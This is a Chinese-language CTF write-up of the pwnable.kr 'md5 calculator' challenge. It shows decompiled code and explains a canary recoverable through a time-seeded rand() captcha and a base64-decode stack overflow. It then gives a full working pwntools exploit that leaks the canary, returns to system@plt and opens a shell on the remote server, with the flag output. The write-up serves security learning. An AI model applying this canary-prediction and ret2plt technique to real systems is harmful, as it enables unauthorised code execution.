Fork me on GitHub

pwnable.kr-md5 calculator

前言

也是一个很有pwn味道的题目,涉及的知识在掌握范围内所以做起来很爽!

分析

题目只给了可执行文件hash。于是就放到ida中逆向了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax@1
int v5; // [sp+18h] [bp-8h]@1
int v6; // [sp+1Ch] [bp-4h]@1

setvbuf(stdout, 0, 1, 0);
setvbuf(stdin, 0, 1, 0);
puts("- Welcome to the free MD5 calculating service -");
v3 = time(0);
srand(v3);
v6 = my_hash();
printf("Are you human? input captcha : %d\n", v6);
__isoc99_scanf("%d", &v5);
if ( v6 != v5 )
{
puts("wrong captcha!");
exit(0);
}
puts("Welcome! you are authenticated.");
puts("Encode your data with BASE64 then paste me!");
process_hash();
puts("Thank you for using our service.");
system("echo `date` >> log");
return 0;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int my_hash()
{
int result; // eax@4
int v1; // edx@4
signed int i; // [sp+0h] [bp-38h]@1
char v3[32]; // [sp+Ch] [bp-2Ch]@2
int v4; // [sp+10h] [bp-28h]@4
int v5; // [sp+14h] [bp-24h]@4
int v6; // [sp+18h] [bp-20h]@4
int v7; // [sp+1Ch] [bp-1Ch]@4
int v8; // [sp+20h] [bp-18h]@4
int v9; // [sp+24h] [bp-14h]@4
int v10; // [sp+28h] [bp-10h]@4
int v11; // [sp+2Ch] [bp-Ch]@1

v11 = *MK_FP(__GS__, 20);
for ( i = 0; i <= 7; ++i )
*(_DWORD *)&v3[4 * i] = rand();
result = v7 - v9 + v10 + v11 + v5 - v6 + v4 + v8;
v1 = *MK_FP(__GS__, 20) ^ v11;
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int process_hash()
{
int v0; // ST14_4@3
char *ptr; // ST18_4@3
char v3; // [sp+1Ch] [bp-20Ch]@1
int v4; // [sp+21Ch] [bp-Ch]@1

v4 = *MK_FP(__GS__, 20);
memset(&v3, 0, 0x200u);
while ( getchar() != 10 )
;
memset(g_buf, 0, sizeof(g_buf));
fgets(g_buf, 1024, stdin);
memset(&v3, 0, 0x200u);
v0 = Base64Decode(g_buf, (int)&v3);
ptr = calc_md5((int)&v3, v0);
printf("MD5(data) : %s\n", ptr);
free(ptr);
return *MK_FP(__GS__, 20) ^ v4;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl Base64Decode(const char *a1, int a2)
{
signed int v2; // ST2C_4@1
FILE *stream; // ST34_4@1
int v4; // eax@1
int v5; // ST38_4@1
int v6; // eax@1
int v7; // ST3C_4@1

v2 = calcDecodeLength(a1);
stream = (FILE *)fmemopen((int)a1, strlen(a1), (int)&unk_8049272);
v4 = BIO_f_base64();
v5 = BIO_new(v4);
v6 = BIO_new_fp(stream, 0);
v7 = BIO_push(v5, v6);
BIO_set_flags(v7, 256);
*(_BYTE *)(a2 + BIO_read(v7, a2, strlen(a1))) = 0;// overflow
BIO_free_all(v7);
fclose(stream);
return v2;
}

贴出来了最关键的几个函数。通过ida反编译的代码还是很容易理清程序逻辑的,其中可以发现两处漏洞。

  • my_hash函数中使用的变量v11其实是stack canary
  • Base64Decode函数会把a1地址处的字符串base64解码,然后会把解码后的数据复制到a2所指示的缓冲区内,这里由于最大复制长度使用strlen(a1)而不是a2的长度导致溢出。

程序的保护如下

1
2
3
4
5
6
7
root@1:~/桌面/test$ checksec hash
[*] '/home/root/\xe6\xa1\x8c\xe9\x9d\xa2/test/hash'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

由于是栈溢出漏洞,只要通过my_hash函数的漏洞leak出canary就可以getshell。在my_hash中调用了rand函数,只要随机种子一样那么就可以预测任意一次的随机值,另外time(0)函数返回的时间是以秒为单位的,所以完全可以获得种子。
接下来就可以栈溢出覆盖返回地址了。system的地址可以使用它的plt地址,那/bin/sh地址呢?这里可以让程序溢出时重新跳入process_hash函数然后输入该字符串,把该字符串存储在数据段,由于数据段地址不变所以可以这样利用。
整理下利用思路:

  1. 在连接题目时本地同样以time函数设置随机种子,获得随机序列并计算canary
  2. 布置栈空间,使程序溢出时执行process_hash函数并向数据段写入/bin/sh

下面是exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import ctypes
import base64
from pwn import *

def work(DEBUG):
context(arch='i386',os='linux',log_level='info')
ll = ctypes.cdll.LoadLibrary
lib = ll('libc.so.6')
system_plt = 0x08048880
process_hash_addr = 0x08048f92
data_var = 0x0804b0e0

if DEBUG:
r = process('./hash')
else:
r = remote('pwnable.kr',9002)

lib.srand(lib.time(0))
# my_hash
v3 = lib.rand()
v4 = lib.rand()
v5 = lib.rand()
v6 = lib.rand()
v7 = lib.rand()
v8 = lib.rand()
v9 = lib.rand()
v10 = lib.rand()

r.recvuntil(' : ')
rel = int(r.recvuntil('\n'))
canary = rel-v7+v9-v10-v5+v6-v4-v8
canary &= 0xffffffff

payload = 'a'*0x200 #junk code
payload += p32(canary)+'a'*12
payload += p32(process_hash_addr)+p32(system_plt)#ret addr
payload += 'a'*4+p32(data_var)
payload = base64.b64encode(payload)

r.sendline(str(rel))
r.recvuntil('me!\n')
r.sendline(payload+'\n')
r.recvuntil('\n')
r.sendline('/bin/sh')
r.recvuntil('\n')
r.interactive()


work(False)

1
2
3
4
5
6
7
8
9
10
11
12
root@1:~/桌面/test$ python 1.py
[+] Opening connection to pwnable.kr on port 9002: Done
[*] Switching to interactive mode
$ ls
flag
log
log2
md5calculator
super.pl
$ cat flag
Canary, Stack guard, Stack protector.. what is the correct expression?
$

要注意的是,如果网速太差就会导致canary计算错误,解决办法是将exp上传到题目服务器本地执行(看题目提示)

总结

stack canary能很好的防止栈溢出,但是程序的其他地方如果能够泄漏canary还是没卵用。

-------------本文结束感谢您的阅读-------------

本文标题:pwnable.kr-md5 calculator

文章作者:r00tnb

发布时间:2018年02月25日 - 17:02

最后更新:2018年08月04日 - 22:08

原始链接:https://r00tnb.github.io/2018/02/25/pwnable.kr-md5 calculator/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

坚持原创,您的鼓励是我最大的动力!